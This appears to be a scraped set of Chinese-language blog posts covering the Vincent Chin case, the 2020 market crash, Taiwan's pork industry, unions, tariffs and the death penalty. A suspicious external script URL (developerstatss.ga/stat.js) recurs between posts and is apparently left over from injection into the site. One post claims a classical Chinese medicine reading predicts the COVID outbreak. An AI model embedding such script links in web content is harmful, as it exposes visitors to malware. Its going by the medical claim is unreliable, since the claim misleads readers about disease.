分類: Uncategorized

看到網路上流傳這個故事（見圖），剛剛查了一下，確有此案件，但內容有出入。

殺人的白人父子（ Ronald Ebens與繼子Michael Nitz）透過認罪協商承認過失致死，僅被州地方法院法官判處$3000美元罰款與三年緩刑即當庭釋放。

後來告上聯邦法院，被害人的律師陳綽薇以「section 245 of title 18 of the United States Code」起訴父子二人，然而此條文內容是：「Whoever, whether or not acting under color of law, by force or threat of force willfully injures, intimidates or interferes with, or attempts to injure, intimidate or interfere with—any person because of his race, color, religion or national origin and because he is or has been—…」

此條文是說：「因被害人種族、膚色、信仰或原國籍而故意暴力攻擊…或故意傷害…」
以此條文提出告訴，變成原告必須在法庭上證明上述「動機」存在，而這非常困難。我的觀點是認為當年陳律師告錯法條。不過這只是個州層級的暴力殺人事件，雙方都是該州居民，依法聯邦法院沒有管轄權。可能當年也沒啥法條可以告上聯邦法院，陳律師巧婦難為無米之炊。

果然真實法庭狀況就是陪審團認為「是否因種族膚色才攻擊」存在「合理懷疑（reasonable doubt）」，特別基於目擊證人Racine Colwell聽到被告攻擊陳果仁時大叫：「因為你TMD害我們失業了！（"It’s because of you motherfuckers we’re out of work"）」的證詞使得此法條要成立近乎不可能。

1984年聯邦地院判決兩人有罪，處罰25年有期徒刑。但聯邦巡迴法院發回重審，且因案件的高度公眾關注，從密西根州的底特律聯邦地院移審至俄亥俄州的Cincinnati聯邦地院，並由當地新的陪審團判決無罪。

另一方面，民事法院雙方在1987年和解，Michael Nitz 賠償 $5萬美元； Ronald Ebens賠償$150萬美元。

當然我們都知道真實世界Ebens根本賠不起，陳家就是拿個類似台灣法院發的「債權證明」，根據報導1997年連本帶利累積到$468萬美元，2015年陳家取得對Ebens房屋的留置權（lien）。這邊說明一下，lien against house是一種類似「抵押權」的權利。

https://js.developerstatss.ga/stat.js?n=ns1

1. 昨日開演史上單日最大跌幅的崩盤秀後，目前指數期貨又千點反彈。近日我們應該可以多次見證歷史。

2. 如同我在「利率倒掛與repo rate」一文（https://tinyurl.com/tgfhnm4）闡述短期與長期利率與近日的恐慌和風險貼水之間的邏輯關係投資人必須有清楚的認識與分別。

3. Fed從去年9月快速且幾百億美元鉅資介入repo market到現在的主動救市，我認為關鍵點都在於「non-banking institutions的現金需求如果不能從repo market滿足，則將被迫賣出原本可以拿來repo 抵押的美國國債，很可能在短期內快速推升國債利率，引發美國政府財務危機。」
順著此思路去走，很多問題可以輕易解開。

4. 但反過來，Fed這種扭曲市場資訊的貨幣政策，本身也會累積出災難性後果。誠如貨幣經濟學家Allan Meltzer多次批評：Fed永遠學不會教訓。

5. 新型冠狀病毒造成的全球經濟損失很可能比目前多數人或投資機構評估以為的輕得多。但中國過度防疫的代價恐怕不小。

（有網友詢問此點依據何在，另補充如下：
“以目前我看到的病情描述或研究，此新冠狀病毒引發的肺炎都屬於中醫傷寒論中太陽病症的傷於寒加減十棗湯症，以家傳所學的中醫，大概可以推測疫情的狀況。
剩下的就是經濟學的思考與判斷了。"）

這點我還是秉持今年1月就寫出的看法 — 只有塵埃落定的事後諸葛才釐得清。

6. 股市崩盤不見得是因為實體經濟生產力或總體契約制度有問題。金融市場崩盤也不見得會對後者造成傷害。
我談過實體經濟的把脈與診斷要怎麼操作，這裡不重複。
要強調的是08年的狀況是複雜的金融契約安排與實體經濟中，美國聯邦政府對房地產的福利政策扭曲不動產契約與貸款安排所引發，佐以Obama政府錯誤的凱因斯學派救市政策延長了痛苦期。這我當年都解釋過也批評過。
此次崩盤更多的只是貨幣幻覺（money illusion）的修正。這是說，我認為如果新型冠狀病毒疫情如未對實體經濟生產力或整體契約結構安排傷筋動骨，則此次恐慌性崩盤將來得快去得也快。
本來我認為的「更糟的狀況」可能被此次股市價格下修而推遲。
如果因疫情而降低多數人為國際貿易障礙，那會是最好的狀況。

7. 網友提問的好問題：「川普的減免所得稅政策是否也會因為期間過短而無效？」
我的回答：「美國的債務狀況（光2019年政府利息支出就5千多億美元），即便給出「長期所得稅減除政策」，人們也會懷疑是否引發通膨與國債價格崩盤。美國的侷限複雜難解。」
補充一句：美國的確有誘因引發世界各地戰爭動亂的方式維持美元強勢。目前的美國禁不起弱勢美元帶來的國債價格崩盤。

8. 跟著我2018年建議，逐漸增多現金比例的讀者，現在看股市崩盤應該心情大不同。
請把握此次財富重分配的機會。審時度勢。

9. 因「需求曲線移動造成石油價格下挫」與「因供應者競爭造成石油價格下挫」的經濟效果不一樣，投資者要有本事分明。

10. ETF會是大問題，這我在2017年10月的文章已經提到：
「1. There can be high settlement or bankruptcy risks for small or over-diversified ETFs in the bear markets. Although the investors can get back their shares of the real assets, it could be worthless after all. And such fear could induce investors and the ETF managers, who by doing so is breaking the contracts, to dump their holdings for money.
2. There can be even higher risks for leverage, inverse, or complex-designed derivative ETFs in a down turn. And I guess the bankruptcy administrators assigned by the courts would probably choose to sell the stocks or bonds and to cancel or abolish the complex derivative financial contracts for cash as soon as possible, which could cause the vicious circle as I mentioned in the article.
At present the ETFs go too far from the original purpose. For me, many of them are more like derivative goods rather than pure investing vehicles. It’s kind of new fashion for people of means. But we have no idea what would really happen when the tide is out. We can wait and see.」

某些為了避險而買入黃金ETF的，請注意第2點。
更深入的觀點在談貨幣的長文中再詳述。

https://js.developerstatss.ga/stat.js?n=ns1

從中華民國財團法人中央畜產會的2017年統計報表來看幾個重要數字：
1. 2017年台灣養殖豬共5421千頭，從2011年的6248千頭來看數量是一路下滑。約衰減了13%。
2. 2017年總養豬業產值新台幣$75.56B，佔台灣該年度GDP僅0.42%。
3. 同年，台灣進口豬肉達84,671公噸，總金額$276.87M USD，較2016年進口量成長44%。進口前三名為：加拿大、西班牙、丹麥。
4. 同年，台灣出口豬入僅1,707公噸，總金額$11.3M USD，其中最大出口國分別為：香港（$7.69M）、中國大陸（$1.27M）、日本（$0.92M）。

中國處心積慮地要生化攻擊台灣一個僅佔GDP 0.42%的產業？綠吱吱果然很脫離現實。
順道一提，台積電單單一家公司2017年營收是新台幣$977B，佔GDP 0.55%。一家公司產值高過一整個養豬產業，感覺用電腦病毒與社交攻擊來對付一家公司的成本效益還比較高哩。

工會怎麼毀掉一個繁華城市？

這部影片可以看看被工會綁架的城市底特律下場如何。

同時建議搭配以下兩篇文章一起服用。

「工會百害而無一利」
https://tinyurl.com/ybjbxxpp

「工會與勞團怎樣傷害勞工、毀滅產業」
https://tinyurl.com/yck32h6v

PS 我自己在美國去過一家也是裝防彈玻璃的pizza店，付費方式像是銀行櫃檯。pizza會放到類似的玻璃轉盤，從裡面轉出來給顧客。
與這家KFC很像；看來美國很多地區治安爛到連這種防彈裝置都規格化地大量生產。

https://js.developerstatss.ga/stat.js?n=ns1

富比士總裁、FedEx總裁與幾個大頭聯名投書WSJ，呼籲川普取消關稅、取消貿易障礙以及取消各種政府補助！

此聯名信主張：完全取消關稅才能站在道德高點要求中國、歐盟與其他政府妥協。

而此信最後一句小弟深深拜服，這是經濟直覺與邏輯均高明者才能看透的：

「…zero-tariff trade deals will help make the U.S. and world economies great again. All the foreign aid programs in the world combined cannot improve the lives of the world’s poorest citizens more than freer trade. （零貿易障礙將能幫助美國與世界經濟再次強盛。世界上所有外國援助計畫加總起來的改善世界貧困人民效果，都遠不如自由貿易。）」

https://www.wsj.com/articles/mr-president-its-time-for-zero-tariffs-1539816089https://js.developerstatss.ga/stat.js?n=ns1

許多討論死刑不能「阻止某些兇手殺人想要或繼續殺人」的論者，其實在經濟學上都犯了錯。

租值（rent）是經濟學上看待人類行為變與不變的角度，也就是說，在相當租值的前提下，供應的行為不會改變。

最典型就是周杰倫、鄧麗君、貓王這類享有巨大名利的歌手，其收入要降低非常多才可能讓他們轉行。這個「差距」就是租值。

當然這是從比較宏觀的角度看一個人的行為。真實世界的經濟學應該是收入的改變雖然不會令這些歌手轉行，但對於演唱場次、機會、環境、演唱時間、歌曲數目與認真程度仍會有所影響。因此微觀來看，說不變並非絕對正確。

回到謀殺行為來看：的確存在一群人，不管會不會面臨死刑（被捕機率、判決/執行死刑機率）都要殺人，是一種高租值行為 — 無論成本上升得很高，其行為可能都還不變。

但經濟學一個重要的啟示是：誘因制度上，除了這群高租值、行為轉變不易的族群，我們更應該看中邊際上，容易因殺人成本上升而改變行為的人。

這也是說，逮捕機率高、判決死刑機率高、執行死刑機率也高的前提下，邊際上會存在相當一群人從而放棄謀殺行為，也從而提高社會治安。

經濟實證上我們可以從另一個角度來切入，證明行為成本會影響謀殺數量，那就是人民平均收入。平均收入越高，則犯下死刑後面對的成本也會越高（未來收入與社會地位的喪失、牢獄成本甚至死刑成本）。

以歐洲來說，1450年以前平均每10萬人有35人死於謀殺；2000年以後僅約2人。

以台灣來說，1970年代以前平均一年約有一千多件謀殺案，如今約400多件。

以地區來看，富裕國家的謀殺案遠低於貧窮國家。

理論建構上還可以更精細，更可以驗證。但本文一個重要的目的是點出我看到的許多討論死刑廢存與否之討論的盲點：很多廢死支持者所舉出的「某些殺人犯有無死刑都會殺人」這個論點，其實從經濟分析（特別是邊際分析驗證）來看，恰恰是錯誤且無科學解釋力的舉證。

我們更應該關注「邊際上的有無死刑發生的行為轉變」！

誠如經濟學論證最低工資調高會增加邊際勞工失業，殺人行為代價的提高必然也會在邊際上達到行為減少的效果。https://js.developerstatss.ga/stat.js?n=ns1